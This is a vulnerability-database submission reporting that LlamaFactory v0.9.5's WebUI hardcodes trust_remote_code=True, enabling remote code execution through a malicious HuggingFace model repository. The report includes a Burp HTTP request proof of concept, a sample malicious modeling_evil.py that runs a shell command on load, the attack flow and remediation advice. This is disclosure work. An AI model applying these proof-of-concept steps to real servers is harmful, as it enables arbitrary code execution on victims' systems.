提交 #1055907: hiyouga LlamaFactory v0.9.5 Hardcoded trust_remote_code=True leads to Remote Code Execution信息

标题hiyouga LlamaFactory v0.9.5 Hardcoded trust_remote_code=True leads to Remote Code Execution
描述Description: The LlamaFactory WebUI hardcodes trust_remote_code=True when loading models. When a user inputs a malicious HuggingFace model repository address and clicks load, the transformers library will execute arbitrary Python code inside modeling_*.py from the remote repo. An attacker can build a malicious model repo to trigger RCE under the server process permissions. The user has no UI option to disable this flag in WebUI. Problematic Code: File: src/llamafactory/webui/runner.py:183 args = dict( ... plot_loss=True, trust_remote_code=True, # ← 硬编码为 True ... ) Also in: runner.py:329 (eval args) chatter.py:139 (chat model) components/export.py:100 (model export) Burp POC: POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json Content-Length: 380 { "session_hash": "aaaaaa", "fn_index": 2, "data": [ "hacker/evil-llama-model", "AutoModelForCausalLM", "AutoTokenizer", null, true, false ] } Malicious Model Repo PoC: # modeling_evil.py (放在恶意模型仓库根目录) import os import subprocess class EvilLlamaForCausalLM: @classmethod def from_pretrained(cls, *args, **kwargs): # 任意命令执行 subprocess.Popen(["touch", "/tmp/pwned.txt"]) return cls() Attack Flow: The attacker uploads the evil-llama-model to HuggingFace The victim opens the LlamaFactory WebUI They enter hacker/evil-llama-model in the model path input box Click the "Load Model" button The malicious code runs on the victim's server Remediation: Remove the hard-coded trust_remote_code=True in runner.py, chatter.py, and export.py Add an explicit UI checkbox, defaulting to False Show a prominent security warning when trust_remote_code is enabled
来源⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-f45j-26gc-xppv
用户
 Anonymous User
提交2026-10-25 02時17分 (1 月前)
管理2026-11-24 09時51分 (1 month later)
状态重复
VulDB条目374836 [hiyouga LlamaFactory 直到 0.9.5 Training Interface AutoTokenizer.from_pretrained 权限提升]
积分0

Do you know our Splunk app?

Download it now for free!